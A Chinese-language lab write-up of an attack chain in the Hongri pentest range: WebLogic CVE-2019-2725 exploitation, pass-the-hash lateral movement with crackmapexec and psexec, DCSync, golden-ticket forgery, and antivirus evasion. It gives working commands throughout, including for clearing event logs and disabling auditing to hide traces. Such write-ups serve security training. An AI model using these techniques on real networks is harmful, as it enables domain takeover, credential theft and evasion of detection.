当前位置: 首页 > news >正文

红日靶场实战复盘:从Weblogic反序列化到域内横向移动的完整攻击链分析

红日靶场深度解析:从漏洞利用到内网渗透的战术思维拆解

在网络安全攻防演练中,红日靶场因其高度仿真的企业内网环境而成为渗透测试人员的"实战沙盒"。不同于单点漏洞的简单利用,真正的内网渗透考验的是攻击者如何将多个技术点串联成完整的攻击链。本文将从一个攻击者的决策视角出发,还原从Weblogic反序列化漏洞突破边界到域控完全沦陷的全过程技术细节,重点剖析每个环节的工具选择、绕过思路和战术逻辑。

1. 环境拓扑与攻击面分析

红日靶场的典型架构模拟了企业常见的DMZ区-内网隔离环境:

  • WEB服务器(双网卡)
    • 外网IP:192.168.44.80(暴露Weblogic服务)
    • 内网IP:10.10.10.80
  • PC主机(域成员)
    • 外网IP:192.168.44.201
    • 内网IP:10.10.10.201
  • DC主机(域控制器)
    • 内网IP:10.10.10.10

攻击路径的关键节点如下表所示:

阶段目标系统依赖条件可能的技术手段
初始突破WEB服务器Weblogic漏洞暴露CVE-2019-2725反序列化
权限维持WEB服务器绕过主机防护内存加载Shellcode/进程注入
横向移动PC主机445端口开放MS17-010/Psexec
权限提升DC主机域管理员凭证泄露哈希传递/黄金票据

提示:实际渗透中需先通过nmap扫描确认端口开放情况,建议使用-T4 -A -p-参数进行全端口探测和服务识别。

2. 边界突破:Weblogic反序列化漏洞实战

CVE-2019-2725是Weblogic WLS9-async组件的XML反序列化漏洞,攻击者可通过构造恶意SOAP请求实现远程代码执行。以下是关键利用步骤:

  1. 漏洞验证

    curl -X POST http://192.168.44.80:7001/_async/AsyncResponseService \ -H "Content-Type: text/xml" \ --data-binary '@poc.xml'

    当返回500错误且包含java.lang.Runtime等关键字时,表明存在漏洞。

  2. 利用工具链选择

    • 手工利用:通过ysoserial生成Payload
      java -jar ysoserial.jar CommonsCollections1 "cmd /c calc.exe" > payload.ser
    • 自动化工具:WeblogicScan等集成化工具可快速完成漏洞检测和利用
  3. 绕过防护要点

    • 静态免杀:对生成的Webshell进行代码混淆/加密
    • 动态对抗:使用无文件攻击技术(如内存加载)
    • 行为规避:避免直接执行高危操作(如添加用户)

实际测试中发现目标存在360动态防护,此时可采用分段执行策略:

  • 第一阶段仅执行信息收集命令
  • 第二阶段通过反射加载.NET程序集绕过检测
  • 最终使用Cobalt Strike的execute-assembly功能加载Mimikatz

3. 内网横向移动技术矩阵

获得WEB服务器控制权后,通过ipconfig /all发现内网网段为10.10.10.0/24。接下来需要选择合适的技术进行横向扩展:

3.1 信息收集方法论

# 基础网络信息 arp -a route print netstat -ano | findstr ESTAB # 域环境侦查 nltest /domain_trusts net group "Domain Admins" /domain dsquery computer -limit 0

3.2 横向技术对比

技术手段适用场景优势风险点
MS17-010未打补丁的Windows系统无需凭证易触发IDS/可能造成系统崩溃
Psexec已获取管理员凭证稳定性高日志记录明显
WMI远程执行防火墙放行135端口隐蔽性强需要高权限凭证
计划任务注入存在时间差的管理窗口绕过部分监控需要本地管理员权限

在本案例中,通过以下步骤实现DC主机控制:

  1. 使用crackmapexec扫描内网SMB服务:
    crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
  2. 发现DC主机(10.10.10.10)存在MS17-010漏洞但利用失败,转为Psexec方式:
    psexec.py domain/administrator@10.10.10.10 -hashes :32ed87bdb5fdc5e9cba88547376818d4
  3. 获取DC控制权后提取KRBTGT账户哈希:
    lsadump::dcsync /domain:de1ay.com /user:krbtgt

4. 权限维持的黄金艺术

黄金票据(Golden Ticket)攻击允许攻击者在获取KRBTGT账户哈希后,伪造任意用户的TGT票据。具体实现步骤:

  1. 获取关键信息

    whoami /user # 获取当前用户SID nltest /domain # 确认域名
  2. 生成黄金票据

    ticketer.py -nthash b18b4b218eccad1c223306ea1916885e \ -domain-sid S-1-5-21-2543277225-3219012424-3233706247 \ -domain de1ay.com administrator
  3. 票据注入

    export KRB5CCNAME=administrator.ccache psexec.py de1ay.com/administrator@dc.de1ay.com -k -no-pass

关键参数说明:

  • KRBTGT哈希:域控制器的"万能钥匙",默认每30天轮换一次
  • 域名:必须与证书中的SPN严格匹配
  • SID:去掉末尾RID部分的域SID(如S-1-5-21-...)
  • 有效期:默认10小时,可通过-duration参数延长

注意:黄金票据在域内任意主机均可使用,即使更改域管理员密码也不影响其有效性。

5. 对抗检测与痕迹清理

完整的攻击链需要覆盖"进入-驻留-离开"全生命周期。在最后阶段需重点处理:

日志清除技术对比

方法作用范围隐蔽性所需权限
wevtutil单个日志通道★★☆管理员
meterpreter clearev三大默认日志★☆☆SYSTEM
事件查看器手动删除可视化操作★☆☆管理员
日志策略篡改阻止新日志生成★★★本地安全策略权限

推荐的多阶段清理方案:

  1. 先使用wevtutil cl security清除安全日志
  2. 修改日志策略限制后续记录:
    auditpol /set /category:"Account Logon" /success:disable /failure:disable
  3. 最后删除Recent文件夹中的操作记录:
    del /f /s /q "%appdata%\Microsoft\Windows\Recent\*"

在真实环境中,攻击者往往会采用时间延迟、流量伪装等技术进一步隐蔽行踪。例如通过DNS隧道传输数据,或使用域内合法服务(如SQL Server)作为C2通道。

http://www.jsqmd.com/news/919201/

相关文章:

  • 别再傻傻用HAL_Delay了!STM32CubeMX实战:用SysTick实现非阻塞延时,让F103/F407多任务跑起来
  • 在openEuler 20.03 LTS SP3上编译内核踩坑记:FT2000+平台启动卡在EFI stub的排查与解决
  • 告别虚拟机!5分钟在Docker里跑起OpenVAS漏洞扫描器(附最新镜像拉取命令)
  • 2026年数据透视分析工具盘点:五家优选品牌深度解析 - 科技焦点
  • Linux系统管理员必看:安全审计后如何优雅地清理history与日志,避免误操作
  • 外卖配送机器人:技术架构、核心挑战与商业化落地实践
  • 别再手动点仿真了!用Makefile一键搞定VCS+VERDI联合仿真(附完整脚本)
  • 从游戏引擎到无人机:四元数解算欧拉角,为什么大家都用它而不用矩阵?
  • AutoDL远程桌面连接保姆级避坑指南:从VNC Viewer配置到SSH隧道稳定维护
  • 世界模型进入实时交互纪元?:Sora 2在3D动态场景生成中实现17ms端到端延迟的关键5步优化
  • 2026亚洲EMBA QS排名榜单解析:顶尖项目实力与择校指南 - 品牌2026推荐
  • 鞍山家庭教育指导师报名入口:官方授权机构中山优才教育报考指南 - 最新教育培训热点
  • Unity Timeline实战:用自定义轨道和Signal打造可交互的剧情对话系统
  • 【AI知识管理未来5大颠覆性趋势】:20年资深架构师独家预测,错过将淘汰下一代知识工作者
  • JGB37-520(12V 带编码器)电机 详细解析
  • 遍历s ,并用一个栈来表示括号的深度。
  • 2026年树洞聊天平台隐私实测:游戏中的心事同样要安全保护 - 时时资讯
  • HW蓝队实战:用HFish蜜罐在Windows上快速搭建一个“诱饵”服务器(附ThinkPHP服务配置)
  • 软考 系统架构设计师历年真题集萃(269)
  • Windows 11的WLAN图标不见了?别急着重装系统,试试这个设备管理器里的隐藏选项
  • 晋中家庭教育指导师报名入口与流程:推荐官方授权机构中山优才教育 - 实时教育培训动态
  • LangChain4j 如何实现 RAG(检索增强生成)?请简述完整流程及其核心组件。
  • 【AI工具版权避坑指南】:20年法律+技术双背景专家亲授3大高危场景与5步合规自查法
  • 校园失物招领系统原型设计——让每一件失物都能找到回家的路
  • 2026论文爆款降AI率软件大曝光:一键抹平AI痕迹稳过知网! - 降AI小能手
  • 别再只会点灯了!用STM32F407的PWM驱动舵机,做个会动的机械臂原型(附完整代码)
  • VAD不止于识别:聊聊语音端点检测在降噪、编码和IoT设备里的那些事儿
  • 上海家庭教育指导师正规报名入口:中山优才教育 - 当下教育培训干货
  • AI初创公司如何避免盲目行动:从技术驱动到市场验证的生存指南
  • ArcGIS Pro新手避坑指南:从Excel到shp,搞定坐标系和字段映射的3个关键点